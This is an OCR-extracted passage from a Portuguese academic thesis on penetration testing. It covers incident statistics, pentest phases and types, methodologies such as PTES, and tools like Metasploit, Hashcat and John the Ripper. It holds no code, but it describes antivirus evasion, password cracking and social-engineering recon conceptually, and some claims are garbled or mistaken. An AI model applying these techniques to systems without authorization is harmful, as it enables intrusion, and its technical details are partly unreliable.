Labs®.

Figura 2.3 — Tipos de ataques relatados em 2016 ao Cert.br

Incidentes Reportados ao CERT.br -- Janeiro a Dezembro
2016

Worm 4,37 4%
Web 8,57 9%

Invasdo 0,26 0%
B Qutros 2,27 2%

B DoS 9,34 9%

Scan 59,33 60%
® Fraude 15,57 16%

Scan M Fraude mWDoS M Outros Invasao Web Worm

Fonte: CERT .br (Disponivel em: <https://www:.cert.br/stats/incidentes/2016-jan-dec/tipos-ataque.html>)

2.5 Pentest

Segundo Longatto (2017), a seguranca da informacéo ¢ dividida em algumas subéreas:
Defensiva, Ofensiva, Pesquisa, Gestdo em Seguranca, Investigacdo e Monitoramento.

A seguranca defensiva diz respeito a mecanismos de protecdo dos ativos, ou seja,
todos 0s meios que existem para proteger as informacGes das ameagcas existentes, podendo citar
como exemplos o hardening em servidores (deixa o0s servidores mais seguros) e 0
desenvolvimento de software seguros. A ofensiva é caracterizada por testar a seguranga em
forma de simulagdo de ataques reais, com objetivo de testar a seguranga, como, por exemplo,
os testes de invasdo (Pentest). Gestdo em seguranca é a parte que diz respeito a criacdo e

gerenciamento de politicas de seguranca nas organizacfes. A investigativa é caracterizada pela

4 Tipo de malware que sequestra criptografa arquivos de computadores e solicita resgate em dinheiro,
geralmente em cripto moedas.

5 Brasil é pais que mais sofre com ataques de ransomware na AL Disponivel em:
<https://www.kaspersky.com.br/blog/brasil-e-pais-que-mais-sofre-com-ataques-de-ransomware-na-al/9626/>
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area de pericia em ambientes computacionais, enquanto monitoramento é a analise de trafego

de redes.

2.5.1 Conceito

O termo Pentest é definido como Penetration Test, que significa teste de intrusdo, é
um método de testes que tem como objetivo analisar as possiveis vulnerabilidades de uma rede
ou sistemas e descobrir suas falhas. S&o tentadas todas as formas possiveis ou conhecidas para
descoberta dessas vulnerabilidades. No Pentest sdo utilizados varios métodos que avaliam a
seguranca de uma rede ou sistema, esses métodos sdo a simulagcdes de um ataque realizado por
um black hat, que tem o objetivo de realizar uma invasdao e comprometimento do sistema.

O termo Pentest é definido como Penetration Test, que significa teste de intrusdo, é
um método de testes que tem como objetivo analisar as possiveis vulnerabilidades de uma rede
ou sistemas e descobrir suas falhas. Sdo tentadas todas as formas possiveis ou conhecidas para
descoberta dessas vulnerabilidades. No Pentest, sdo utilizados varios métodos que avaliam a
seguranca de uma rede ou sistema, esses métodos sdo as simula¢@es de um ataque realizado por
um black hat, que tem o objetivo de realizar uma invasao e comprometimento do sistema.

Sendo assim, o Pentest permite que seja avaliado toda a estrutura do sistema referente
a seguranca. Os testes realizados s@o importantes pois através deles podemos descobrir falhas
existentes em hardware e software, para que as medidas defensivas sejam implementadas
corretamente posteriormente a esses testes. Tendo em vista a protecdo e mitigacdo das
ameacas, vulnerabilidade e riscos, 0s testes de intrusdo sdo importantes para a seguranca das
empresas ou organizagdes. O Pentester precisa pensar como um black hat, possuindo um nivel
de conhecimento semelhante e as ferramentas necessarias para a realizacdo do mesmo, pois se
houver uma vulnerabilidade explorada pelo black hat, corre o risco de comprometer os bens
ativos de uma empresa. Dessa maneira, ¢ mais complicado fazer a defesa, tentar descobrir
todas as vulnerabilidades existentes para que o Pentest seja satisfatorio € fundamental.

Todas as informacOes que sdo geradas durante o processo do Pentest, resultardo em
um relatério final em que tudo o que for testado serd documentado, colocando 0s passos, as
ferramentas utilizadas, printscreen de ambientes, analise do risco das falhas e recomendacdes
para correcdo das mesmas. O Pentest € um meio eficiente e completo de auditoria de

seguranca, no qual explora todas as particularidades da seguranca de um sistema. Possui uma
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sequéncia de etapas, fases no processo de levantamento de informacdes do alvo a ser testado,
que no final contribuird positivamente e permitira corre¢Ges para o sistema analisado.

Existe um termo utilizado por black hats, denominado de “hacking”, este termo refere-
se a pratica utilizada em crimes de violacdo de seguranca, este € o oposto do Pentest, mesmo
utilizando as mesmas ferramentas andlises e raciocinios, o Pentest tem como objetivo aplicar as
melhores técnicas de protecdo e seguranca, a fim de proteger um dos bens mais preciosos de
uma organizacao, que é a informacdo. As técnicas de correcdo serdo aplicadas ap6s o término
do Pentest, como, por exemplo, reparando erros em hardware, pacths e atualizagbes de

segurancga em software e sistemas operacionais, politicas de senhas, entre outros.

2.5.2 Fases do Pentest

Segundo Giavaroto e Santos (2013), os procedimentos de um Pentest sdo parecidos
com o que black hats utilizam em um ataque e sdo divididos em cinco fases. A primeira etapa é
a etapa de Informacdes do alvo, nela a maior parte do tempo € aplicado, pois quanto maior o
namero de informagGes levantadas, maior € a chance do sucesso da auditoria do sistema. Nessa
fase, todas as informacdes referentes a empresa serdo buscadas, como nomes dos funcionarios,
e-mails, telefones, sites, empresas terceirizadas, dados pessoais dos funcionarios, firewalls,
habitos dos funcionarios etc. Uma maneira eficiente de conseguir informacdes seria aplicando
0 uso de engenharia social®, como por exemplo, um e-mail ou telefonema, se passando por
alguém da empresa parceira, que € recebido por um funcionario pouco qualificado, ele podera
falar informacdes que ajudardo no processo do Pentest. Também sdo utilizadas fermentas de
busca online, como o0 Google, para obtencdo de mais informacdes. Assim como, é importante
utilizar redes sociais como: Facebook Instagram, Twitter, etc., uma vez que, pessoas ligadas a
empresas as vezes podem colocar informagdes nessas redes sociais, ndo levando em conta o
sigilo e a preservacdo dos dados da empresa. Pela natureza o ser humano é muito falho e, se
aproveitando dessas falhas, black hats conseguem informac6es explorando essas deficiéncias.
No entanto, o analista de seguranca deve utilizar essas técnicas para prevenir a0 maximo esse

tipo de ataques.

® Tipo de ataque que se refere a manipulagéo psicoldgica de pessoas para divulgarem dados confidenciais
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A segunda fase é a de Varreduras de Sistema, em posse das informacgdes, como
mapas da rede, informagcbes da empresa, sistemas utilizados e sites, € necessario utilizar as
ferramentas de Pentest adequadas. As informacgfes levantadas sobre hardware, servidores,
servicos, computadores e software sdo verificados nessa etapa. E necessario se preocupar com
dispositivos IDS/IPS, pois podem bloquear as tentativas de analise da rede. Mas sabemos que
regras mal configuradas nesses sistemas inclusive no Firewall podem comprometer todo o
sistema e garantir a intruséo.

A terceira fase é a de Ganho de Acesso ao Sistema. Nesta fase o sistema é invadido e
0 processo de intrusdo ocorre, devido a exploracdo de alguma vulnerabilidade e, talvez, atraves
dessa exploragdo possamos chegar a outras camadas do sistema ou rede, como meio de
descobrir novas vertentes de ataques para potencializar a intrusdo. Com 0 acesso ao sistema
podemos analisar as estruturas de diretorios, politica de senhas e varios outros meios que
podem ser aplicados para tirar 0 méximo de informacdes. A analise geral do sistema é feita
pelo invasor, com a experiéncia dele permitem a tomada de decisdes para cada agdo a ser feita,
que pode levar a varias situacdes inesperadas.

A quarta fase € a de Manter o Acesso no Sistema, em que sdo utilizadas varias
técnicas combinadas com método para contribuir com a necessidade de manter o acesso, se for
preciso conectar posteriormente a instalagdo de backdoors’ ou deixando portas abertas para
possiveis conexdes futuras. Sdo instalados programas maliciosos para que possa ser ratificado o
Pentest real. Black hats estdo sempre atrds de informacdes sigilosas que possam contribuir
lucros ou situagdes relacionadas a crimes.

A quinta e Ultima fase consiste na Retirando as Evidéncias, ap6s a quarta fase a
maioria dos black hats sabem que apds os ataques efetuados os sistemas computacionais
guardam todas as acdes e modificagcOes feitas nos mesmos em arquivos de log, por exemplo, e
com isso aplicam técnicas para tentar despistar uma possivel auditoria nas maquinas, pois
sabem que determinadas ac¢Oes sdo crimes que podem comprometer sua identidade ou
localizacdo. O Pentester utilizara das mesmas técnicas, dependendo do tipo do Pentest que foi
solicitado, pois como discutido na proxima secdo, existem diferencas nos testes de invasao
firmados entre contratante e contratado. Esses tipos de testes podem contribuir para o analisa
responsavel pela rede a configurar posteriormente sistemas que possam detectar invasores de

forma eficiente.

7 Software malicioso que tem como fungéo abrir portas de servigos para outros malwares acessarem o sistema
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2.5.3 Tipos de Pentest

O Pentest, de acordo com Moreno (2015) e Giavaroto e Santos (2013), pode ser
divido em alguns tipos: blind, double blind, blackbox, graybox, whitebox, Tendem e reseversal.

No blind, o Pentester ndo possui nenhuma informacdo sobre o sistema que ira
atacar, porém a equipe de Tl da empresa, por exemplo, sabera que serdo atacados e 0 que sera
atacado, possibilitando medidas corretivas para tentar dificultar o ataque e proteger os sistemas
que sofrerdo os testes. No processo double blind, nem o Pentester e nem as equipes de Tl da
empresa, saberdo que serdo atacados.

No teste blackbox o auditor ndo possui nenhuma informacédo sobre o alvo e sua
infraestrutura de rede, sem conhecimento prévio, quantidade de maquinas e 0s processos dos
sistemas que estdo sendo executados. E 0 mais proximo que temos de um ataque de um
blackhat, pois geralmente eles ndo possuem informac6es sobre a estrutura das empresas.

No teste graybox o Pentester terd informacdes parciais inicialmente sobre o alvo e
sobre qual ambiente serd testado, por isso ja sabera parcialmente o que serd testado. J& no
whitebox, também conhecido como teste caixa branca, o Pentester ter4 conhecimento total do
alvo de sua infraestrutura de rede, aplicacGes, enderecos IP (Internet Protocol) usados,
firewalls, codigo fontes, etc. E mais utilizado em ataques internos, por exemplo um funcionario
que poderia prejudicar a empresa e lucrar a custa dela.

No Tandem o alvo sabera do ataque e quais os testes que serdo utilizados na
realizacdo dos ataques e o0 Pentester tera total conhecimento do alvo, enquanto no reversal, o
Pentester tem total conhecimento sobre o alvo que sera testado, mas nédo sabera do ataque e
nem quais os testes que serdo utilizados.

Todos os tipos de definigdo de Pentest tem 0 mesmo objetivo de descrever os testes e

explorar todas as possibilidades na eficiéncia dos ataques.

2.6 Metodologias Pentest

Segundo Moreno (2015), existem metodologias que podem ser adotadas em um
Pentest, 0 motivo de existirem varias metodologias, é que sdo especificas para alguns tipos de
cenarios e o0 escopo do projeto que sejam utilizados nos testes especificos. Abaixo, sdo

apresentadas algumas das metodologias mais conhecidas.
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A Open Source Security Testing Methodology Manual (OSSTMM) baseia-se em
métodos cientificos que auxiliam o processo de seguran¢a da informagdo. Essa metodologia
ndo tem como foco o Pentest, mas como objetivo de avaliar a seguranca da empresa em
consideracéo do objetivo do negécio. E dividida em trés fases: pré-teste, teste e pos-teste.

A primeira fase intitulada de pré-teste, descreve alguns aspectos iniciais para a
avaliacdo da seguranga, como:

e Conformidade - refere-se as leis que devem ser seguidas, sdo elas: nacionais,

industriais e politicas de seguranca da empresa que sera auditada;

¢ Regras de boa conduta - referem-se as regras gerais de conduta da empresa, como
contratos a respeito da seguranca, tempo e estimativa do projeto, escopo e pessoas
envolvidas; e

o Detectar riscos e ameagas - € a etapa onde tudo o que comprometer a seguranca dos
dados ou causar algum prejuizo a empresa que sera auditada.

A segunda fase intitulada teste, como o nome ja diz, todos os testes devem ser
realizados, a metodologia Penetration Testing Execution Standard (PTES) descreve alguns
desses testes, sdo testados todos os ativos que podem oferecer risco na exposi¢cdo de dados ou
invasdo a organizacdo, também devera ser escolhido o tipo do Pentest (blackbox, whitebox, ou
graybox).

A terceira fase é intitulada pos-teste, em que é gerado o relatorio dos resultados
obtidos e apresentacdo ao cliente.

Information Systems Security Assessment Framework (ISSAF) tem como objetivo
buscar uma auditoria mais rapida possivel e é dividida em quatro fases:

e Planejamento - é a fase inicial onde sdo reunidas varias informacdes sobre os

sistemas que serdo testados, qual vai ser o tipo de intrusdo realizado, contato com o
cliente, etc. apos a definicdo desses ataques o planejamento dos testes de invasdo é
feito;

e Em seguida, ha a fase de Avaliacdo - o Pentest propriamente dito é realizado,
atacando os alvos, fazendo a auditoria completa do sistema, teste de
vulnerabilidades, exploracao e pos exploracdo e sdo anotados os resultados obtidos;
e

e Tratamento - tomam-se as providéncias relacionadas as vulnerabilidades
encontradas e, por fim, a Acreditacdo, nessa etapa a empresa recebe o certificado de

seguranca ISSAF.
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Open Web Application Security Project Top Ten (OWASP) é uma metodologia
utilizada em ambientes e aplicagdes Web. Ela mantém uma lista de ataques a serem efetuados
em aplicacbes web com as principais vulnerabilidades encontradas. Os testes que sao
realizados dentre alguns serdo citados: (i) Injecdo (sdo injetados codigos na aplicacdo com o
objetivo de acesso ao sistema); (ii) Quebra do sistema de autenticagdo/secao referéncia direta a
objetos; e (iii) File upload (negagéo de servigo utilizacdo de componentes vulneraveis).

Na proxima secdo apresenta-se a metodologia PTES, a ser utilizada neste trabalho.

2.7 The Penetration Pentest Execution Standard

O PTES é uma metodologia padronizada internacionalmente em que Pentesters
seguem sequencialmente 7 fases até a conclusdo final do projeto, é dividido em: Planejamento
do Projeto, Coleta de Dados e InformacGes, Mapeamento das ameacgas, Andlise das
Vulnerabilidades, Exploracao, Pds-Exploracéo e Escrita do Relatério.

A etapa de planejamento do projeto sera responsavel pelo primeiro contato com o
cliente, onde a viabilidade do projeto sera avaliada, como também deixara a negociagdo o mais
transparente possivel. O cliente informard quais ambientes planeja que sejam realizados 0s
testes, quais ndo poderdo ser testados, em quais dias e horarios os testes poderdo ser feitos, bem
como, informara a quantidade de dispositivos e se existe algum que ndo entrara no escopo do
projeto. J& o Pentester informarad como o Pentest sera conduzido, sempre tirando as ddvidas do
cliente, apresentando o cronograma, o valor e o prazo a ser definido. Nesta etapa sera firmado o
acordo entre cliente e contratado. Nesta pesquisa, também foi definido que o teste serd o
graybox onde o Pentester terd informagdes parciais sobre a empresa e que sera feito os testes na
rede interna e rede Wireless.

Na fase de coleta de dados e informacdes serdo levantados todos os dados e
informacdes da empresa a ser testada. Sera utilizado recolhimento, ativos, passivos e fisicos
utilizando ferramentas automatizadas como: MalteGo, que utiliza varias buscas referentes a
dominios, e-mails, redes sociais etc. As informagfes sobre o alvo sdo coletadas, e mesmo
utilizando ferramentas para agilizar a obtengdo de dados, a coleta manual é fundamental, como
no Google e ferramentas de busca. Informacdes como site da empresa, redes sociais, e-mails,
telefones, nomes dos funcionarios, dados referentes a empresa, serdo recolhidas.

Recolhimentos mais direcionados também serdo coletados nessa fase, como: enumeracdo de
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Domain Name System (DNS), mapeamento da rede, topologia, quantidade de dispositivos
ativos ou ndo, utilizando ferramentas ou contato fisico com funcionérios.

Posteriormente, a partir dessas informacdes, serdo levantados dados dos dispositivos
do cliente, e verificar se uma determinada maquina esta online na rede e respondendo ao envio
de pacotes, por exemplo, pois uma maquina que esta respondendo a pacotes e requisi¢oes
poderd estar mais vulneravel. Para comegar, serd definido o nimero de portas abertas com os
servicos que estdo sendo executados, 0 SO e a versdo. Existem ferramentas que podem fazer
essa varredura mais automatizada e a que sera utilizada é o NMAP, um dos scanners de redes
mais famosos e utilizados no mundo, com cddigo fonte aberto. Quanto maior o nimero de
informacdes, mais eficiente sera o resultado do Pentest, em posse dessas informagGes sera
seguido para proxima etapa.

A fase de mapeamento das ameacas tem como objetivo de mapear as
vulnerabilidades nos ambientes propostos do Pentest, neste caso a rede interna da empresa e a
rede Wireless. Em posse dos dados do alvo como IP, portas, tipo de criptografia da rede
Wireless, sistemas operacionais e servigos ativos.

Na fase de analise de vulnerabilidades os servicos levantados da etapa anterior serdo
estudados e analisados com o objetivo de identificar vulnerabilidades referentes aos
dispositivos dos ambientes que serdo testados. Nesta etapa, serdo utilizadas ferramentas para
facilitar a varredura de vulnerabilidades, mas também o trabalho manual, atras de servigos que
estejam desatualizados com falhas conhecidas publicamente. Vale ressaltar que muitas vezes as
ferramentas podem acusar vulnerabilidades que ndo existem ou deixar alguma passar
despercebido, por isso é importante uma analise manual. Software que serdo utilizados séo o
Nessus, que possui analise de redes deteccdo de malware para Windows, entre outros, e 0
OpeanVAS, que é uma plataforma open source de analise de vulnerabilidade remota baseada
em cliente/servidor. Também sera identificado qual tipo de criptografia utilizado na rede
Wireless da empresa e levantamento de informacGes sobre o roteador, criagdo de dicionario de
dados para possivel ataque de forga bruta.

Na fase de exploracdo realizam-se tentativas de invasdo aproveitando-se das falhas
encontradas em software nos ambientes com o objetivo de quebrar a seguranca da empresa e
conseguir acesso ao sistema.

Na fase de exploracdo realizam-se tentativas de invasdo aproveitando-se das falhas
encontradas em software com o objetivo de quebrar a seguranca da empresa e conseguir acesso
ao sistema. A exploracdo seré efetuada por falhas através da ajuda de exploits, que sdo codigos
criados com o objetivo de explorar as vulnerabilidades e ganhar acesso ao sistema atacado
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conseguindo acesso definitivo da maquina alvo. Existem sites especializados na divulgacdo de
exploits que sdo mantidos por empresas com uma vasta diversidade de exploits gratuitos. Assim
como, existem também algumas empresas que vendem exploits, mas neste teste serdo utilizados

apenas os gratuitos, um dos mais famosos e confiaveis € o http://www.exploitdb.com/, que sera

utilizado nas buscas dos exploits.

A principal ferramenta que sera utilizada nesta fase é o Metasploit®, que possui uma
série de ferramentas e categorias para ganho de acesso ao sistema e ferramentas para burlar
antivirus, firewall, etc. Também serdo utilizados testes com o objetivo de captura de
informac6es dados sensiveis trafegados na rede, com o uso do MeterPreter, um software que
“envenena” o DNS na rede se passando pelo receptor dos dados trafegados. O nome desse
ataque € Man In The Middle.

Ja para Wireless sera usado o Hashcat®, um software de quebra de senhas usando
dicionério de dados, forca bruta ou mesclando os dois, para a efetuacdo do ataque. Também
serdo efetuados testes em métodos explorando falhas no PIN, Wi-Fi Protected Setup (WPS), e
firmware dos roteadores, assim possivelmente conseguindo acesso. Deixando claro que mesmo
se uma invasdo for efetuada com sucesso serdo efetuados todos os testes com o objetivo de
conseguir explorar a maior quantidade falhas possiveis.

A fase de pos exploracéo é responsavel pelo ganho de acesso privilegiado na rede,
com o objetivo de acessar dados sensiveis, provando que um black hat poderia comprometer
todo o ambiente colocando as mdos em dados e ativos sensiveis da empresa causando um
prejuizo muito maior, como roubo de informacGes ou apagando essas informagdes. Para esse
estudo, Sera utilizado o JhonTheripper'® que possui fermentas para quebra de senhas de
sistemas operacionais e 0 Metasploit por possuir fermentas de quebra de senhas de sistemas
operacionais e escalacdo de privilégios, com o objetivo de ganhar acesso administrador a todo
0 sistema.

Por fim, a escrita do relatério é a ultima fase do Pentest, em que se documenta todo o
processo dos testes realizados para o cliente contendo o detalhamento sobre como foram

realizados os testes, quais as vulnerabilidades encontradas, quantificando os riscos, como foram

8 Ferramenta utilizada para a fase de exploracdo, gerando codigos executaveis que permitem a exploragdo do
sistema

9 Ferramenta para analise de seguranca em redes sem fio
10 Ferramenta utilizada para quebra de senhas


http://www.exploitdb.com/
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realizados os ataques e as possiveis solucdes para que a equipe de T1 da empresa possa corrigi-

los.

2.8 Ferramentas

Ferramentas sdo utilitarios que ajudam o Pentester a otimizar seu trabalho no processo
de auditoria de um sistema, estas s&o umas das mais utilizadas e conhecidas, além da eficiéncia
comprovada. Existem também as ferramentas implementadas em hardware, entretanto as mais
conhecidas estdo em software.

O Kali Linux é uma distribuicio Linux criada e mantida pela Offensive Security*!, foi
criada com o objetivo de auxiliar profissionais de auditoria e seguranca da informacdo em suas
andlises e testes e é baseada na distribuicdo debian'?. E a continuagio da antiga distribuicio
BackTrack com mais ferramentas, mas posteriormente descontinuada. Ela por padrao é dotada
de centenas de ferramentas para todos os tipos de analise da parte de seguranca, como, por
exemplo, ferramentas de analise de trafego de redes, testes de seguranca em redes sem fio,
quebras de senhas de em sistemas operacionais, etc. E uma distribuicio estavel e conta com
muitas atualizacGes das ferramentas periodicamente. Sendo a distribuicdo mais famosa e
utilizada por Pentesters.

O Metasploit € um framework criado pelo especialista em seguranca de redes norte
americano HD Moore. Tem como principal objetivo criar ferramentas de exploracdes de
seguranca. E utilizado por profissionais do mundo todo para realizaco de testes de intruséo e
testes de rede. Foi desenvolvido na linguagem de programacédo Ruby e alguns componentes sao
escritos na linguagem C. Possui centenas de ferramentas para exploracdo de sistemas com
falhas e os mddulos existentes no Metasploit sdo:

e Exploit - cadigos que possuem a finalidade de explorar uma falha de seguranca ou

vulnerabilidade no software afetado, ganhando acesso que antes ndo era permitido;

e Payload - cddigo malicioso que pertence ao exploits ou pode ser independente. Tem

a funcdo de executar comandos no sistema alvo e conceder uma conexao ao

atacante e o alvo;

11 https://www.offensive-security.com
12 Sistema operacional Linux
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e Shellcode - faz parte também do exploit e geralmente vem acompanhado do
payload, tem como objetivo conceder acesso administrador ao atacante do sistema
alvo, podendo assim obter controle total do sistema, geralmente utiliza um buffer
overflow para conseguir injetar os codigos necessarios;

e Modulos auxiliares - sdo ferramentas que foram desenvolvidas com o objetivo de
auxiliar a exploracdo do sistema alvo. Por exemplo, port scanner, sniffer,
ferramentas de engenharia social, etc.;

e Encoders - séo ferramentas que foram desenvolvidas com o objetivo de burlar as
protecBes antivirus, firewall, IDS, etc. Elas funcionam basicamente criptografando
0 executavel ou cdédigo fonte do exploits, com o intuito de deixa-lo indetectavel a
protecdes do sistema, como o0s antivirus, sendo assim, se o0 antivirus tentar analisar
0 codigo fonte do executavel ele ndo encontrard nenhuma ameaga aparentemente.

O Maltego é uma ferramenta de pesquisa poderosa e € utilizado amplamente por
profissionais de seguranga da informagdo na fase de levantamento de informagdes. Utiliza
mineracdo de dados que processa graficos em buscas de links. Analisa as informacdes abertas
publicamente na Internet e relaciona-as, coletando as informacGes que pessoas e organizacoes
possuem. Podem-se reunir informacgdes das relacGes dos seguintes dados, Pessoas: nomes,
enderegos de e-mail, redes sociais; Empresas: organizacgoes, sites da Web, Infraestrutura da
Internet, como, Dominios, nomes de DNS, enderecos IP, também pode encontrar documentos e
arquivos relacionados ao alvo.

O Wireshark é um software que analisa o trafego dos protocolos de rede mais
utilizado no mundo. Ele € utilizado na fase de varredura da rede, permite ver quais dados estao
sendo trafegados, em determinados protocolos, IP e portas da rede. Podendo monitorar tudo o
que e trafegado, também podendo capturar esses pacotes que estdo sendo transmitido na rede.

O Nmap é um dos port scanners mais famosos do mundo. Possui codigo-fonte livre,
sendo melhorado através de uma comunidade de colaboradores em todo o mundo. E na fase de
levantamento de informacGes sobre o alvo que ele € mais utilizado. As principais caracteristicas
do Nmap, é que ele consegue varrer faixas de IP com o objetivo de verificar portas e servi¢os
ativos no alvo, podendo detectar sistemas operacionais, detecgdo de versdo, que pode ajudar a
identificar versGes de servigos vulneraveis, enderecos MAC e servigos executados em hosts
ativos.

O oclHashcat é um software para testes em redes Wireless, seu codigo fonte aberto,
segundo o site oficial, é a ferramenta de quebra de senhas mais rapida do mundo. O principal

modo € o ataque de forca bruta em redes Wireless utilizando a GPU do computador que esta
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realizando o ataque, podendo gerar aproximadamente de 50.000 combinacGes de senhas por
minuto.

Aircrack-ng é uma ferramenta de testes de redes Wireless, que pode explorar
vulnerabilidade nas principais falhas de roteadores e quebra de senhas em determinados
algoritmos de criptografia, podendo capturar pacotes e executar ataques de forca bruta e de
dicionério.

JhonTheRipper ¢ uma ferramenta gratuita para quebra de senhas, compativel com
varios sistemas operacionais como Unix, Linux e para Windows, analisando um formato de
arquivo e identifica o tipo de criptografia que esta sendo usado nele. Por exemplo, um arquivo
que possui senhas de usuérios do Windows identifica o tipo de criptografia e de criptografa-lo
usando o método de forca bruta, por exemplo.

O OpenVAS ¢ um analisador de vulnerabilidades, amplamente utilizado, que possui
um banco de dados contendo uma vasta lista de vulnerabilidades em plataformas e protocolos.
Seu scanner realiza vérias verificacGes para a deteccdo de falhas conhecidas. A vantagem do
OpenVas € ser open source e mantido por uma grande comunidade mundial. Possui inimeras
ferramentas e analise de vulnerabilidades e gerenciamento.

A ferramenta Whois para consulta do dominio do site, seu objetivo é analisar o
dominio fornecido por uma empresa. Esse dado por ser obtido sabendo apenas o nome da
empresa e acessando os dominios fornecidos de buscas no Google. Este comando tem objetivo
de coletar dados e identificar dados de responsaveis da Empresa. O Whois é o protocolo que
faz a consulta nos servidores RIR responsavel por manter os registros internacionais de
Internet.

A ferramenta Theharvester faz uma varredura em varias bases de dados de servigcos
pela Internet, como Google, Bing, Linkedin, VirusTotal entre outros, com o objetivo de

encontrar e-mails ligados aos dominios.

2.9 Atagues

Os ataques sdo acgdes realizadas como meio medir o nivel de seguranca de um
ambiente, explorando possiveis falhas existentes em software, hardware ou até falhas humanas.
Com o objetivo de quebra da seguranca de um determinado ambiente computacional.

Na exploracdo de falhas no ataque sdo utilizados métodos de andlise de
vulnerabilidades, caso descoberto, geralmente, sdo utilizados software que conseguem explora-
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las, esses ataques sdo feitos por meio de exploits, que injetam um codigo no software para
ganho acesso antes ndo autorizados.

Em Ataques a Senhas, cujas senhas sdo um dos meios mais comuns de autenticacao
em um sistema, logo sdo as mais procuradas para quebra por black hats. Ataque de forca bruta
consiste no uso de processamento computacional na geracao de senhas aleatérias comparando a
senha gerada com o campo de autenticagdo, a fim de obter a senha correta de acesso, quanto
maior 0 nimero de caracteres e combinacdo de caracteres especiais mais tempo para ser
descoberta.

Ataque de diciondrio consiste na utilizagdo de um ou mais arquivos com inimeros
dados de caracteres, e cada palavra desse arquivo € testada no campo de login, esse ataque so é
bem-sucedido caso a palavra dentro do arquivo contenha a senha, geralmente esses arquivos
sdo gerados de acordo com as informagdes coletadas do alvo, aumentando sua eficiéncia.

Ataque misto consiste na utilizacdo de dicionério e forca bruta juntos aumentando a
eficiéncia de um ataque a senhas.

Existem tipos de algoritmos que sdo utilizados em senhas para que possam dificultar o
acesso nao autorizado a esses dados, um exemplo de algoritmo criptografico é chamado
fungbes hash®®. Estes embaralnam a informagdo resultando um arquivo hexadecimal de
tamanho Unico, ndo importando o tamanho do dado de entrada, a Figura 2.4 demonstra o
processo de cifra de um algoritmo hash. Esses ataques também funcionam nessas funcdes,
sendo que pelo custo computacional ndo vale a pena utilizar forca bruta em determinadas
criptografias. Para ataques em arquivos criptografados com hash, séo utilizados enormes
bancos de dados que contém inimeras senhas geradas, e o software compara essas fungdes com
0 arquivo a ser quebrado. O SQL injection é um ataque a senhas utilizando vulnerabilidades de
consulta em banco de dados, nele o atacante insere um codigo nos campos de login e senhas
para conseguir acesso as informagdes.

O ataque de engenharia social utiliza a persuasdo para enganar pessoas, utilizando
uma manipulacdo psicologica, se passando por uma entidade confiavel, com o objetivo de que
as pessoas executem acOes e divulguem informacdes confidenciais, acfes como, coleta de
informacdes como senhas, ou execucdo de um software malicioso aproveitando-se da

ingenuidade da vitima. Um exemplo desses ataques € o uso de phishing, que clona um site e 0

13 Mais informagGes em: https://www.tecmundo.com.br/o-que-e/1663-0-que-e-hash-.htm
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blackhat envia para milhares de pessoas se passando como o site original, com o objetivo de
captura de dados e senhas. Geralmente os blackhats, utilizam péaginas de bancos.

Figura 2.4 — Demonstracdo de um processo de criptografia usando algoritmos em hash

Input Digest
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E::g::f I crypffsf phic _, 8¥D8 7558 7851 4F32 DIC6
the blue dog Mkl 76B1 79A9 ODA4 AEFE 4819
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ju.:p; - N crypfg: phic _, ¥CD3 7EDR 5A¥2 CGFF 915F
el bl e function D401 COAS 7D9A 46AF FB45
The red fox i
jur: — Crypfag;:ph'c . BACA D682 D588 4CT5 4BF4
the'::slue e function 1799 7D88 BCF8 92B9 6A6C

Fonte: http://agiletesters.com.br

Man in the Midle é um tipo de ataque em que o blackhat esta na mesma rede da
vitima, passando-se como o servidor de destino dos dados, quando na verdade ele estd no meio
da conexdo capturando todos os dados enviados pelo cliente. A Figura 2.5 ilustra a

comunicacéo do ataque.

Figura 2.5 — Exemplo de ataque Man-in-the-middle

Man-in-the-middle attack

Original connection
o

Man-in-the middle, Phisher,
Or aNNoNYMOoUS proxy

Fonte: https://www.computerhope.com/jargon/m/mitma.htm
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Para o Buffer Overflow, utiliza-se um software malicioso para injetar um cddigo que
sobrecarrega a aplicagdo, sobrecarregando a memodria e gerando um acesso ndo autorizado ao
sistema.

DDos é um dos ataques mais utilizados, pois pode ser realizado longe do alvo, apenas
utilizando programas e maquinas distribuidas, solicita inimeras requisi¢des em um servi¢co com
0 objetivo de sobrecarrega-lo deixando indisponivel, esse € um ataque que compromete a
disponibilidade de um sistema, acarretando perdas financeiras as empresas. Geralmente, um
black hat infecta varias maquinas em locais distribuidos e as utilizam para um ataque

simultaneo. A Figura 2.6 ilustra a arquitetura do ataque.

Figura 2.6 — Exemplo de um ataque de negacéo de servi¢o (DDoS) utilizando maquinas infectadas.

Master Control
Computer(s)

L8

\\

Victim

Fonte: https://www.ovh.pt/anti-ddos/principio-anti-ddos.xml

Em Wireless as redes sem fio estdo praticamente em todo lugar, principalmente com a
evolucdo de dispositivos moveis, bem como a evolucdo de redes cabeadas, mas com essa
evolucdo também existe a fraqueza das redes wireless, podendo comprometer todo o sistema,
pois elas sdo vulneraveis se ndo configuradas corretamente. Os tipos de ataques mais comuns
sdo nos tipos de criptografia implementados nestes dispositivos. Atagues a senhas sdo 0s mais

utilizados, exploracéo de falhas nos roteadores, e pontos de acessos falsos.


https://www.ovh.pt/anti-ddos/principio-anti-ddos.xml
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2.10 Servicos

O SO oferece um conjunto de recursos e servicos, estes que auxiliam 0s usuarios em
suas determinadas tarefas, geralmente sdo programas que j& vem pré-instalados. Junto com ele,
software instalados por terceiros sdo responsaveis por desempenhar papéis para solucdes de
cada usuério, de acordo com suas necessidades.

Quando um software é executado no SO, automaticamente vira um processo, este é
uma instancia do executavel do software, que é executado em uma area de memoria onde o SO
0 administra. Cada processo possui uma area reservada na memoria RAM do computador, que
o sistema define em um intervalo de espaco alocado para permitir sua execucao.

Muitos programadores nao se preocupam em utilizar métodos de programacéo focados
na seguranca no projeto de desenvolvimento de software, mesmo sabendo que nenhum sistema
é totalmente seguro, possibilitando o surgimento de erros, que podem ser transformados em
vulnerabilidades no sistema, ndo pondo sé em risco os dados dos usuarios desse software, mas
como no comprometimento geral do SO utilizado.

Como um SO possui inimeros processos sendo executados, simultaneamente, black
hats buscam vulnerabilidades que possam ser exploradas, tanto do sistema quanto em software
de terceiros, possibilitando um possivel ataque bem-sucedido, através de algumas técnicas que

serdo abordadas durante o capitulo.

2.10.1 Servigos Disponiveis no Ambiente de Testes

Existem milhares de software distintos, nesta se¢do apresentam-se os identificados no
ambiente utilizados nesta pesquisa.

Microsoft Windows 7 foi lancado em 2009 pela Microsoft € um SO de codigo fonte
fechado, para uso doméstico e computadores pessoais, € o0 sucessor do Windows Vista e
Predecessor do Windows 8. Sua popularidade representou cerca de 50% em computadores no
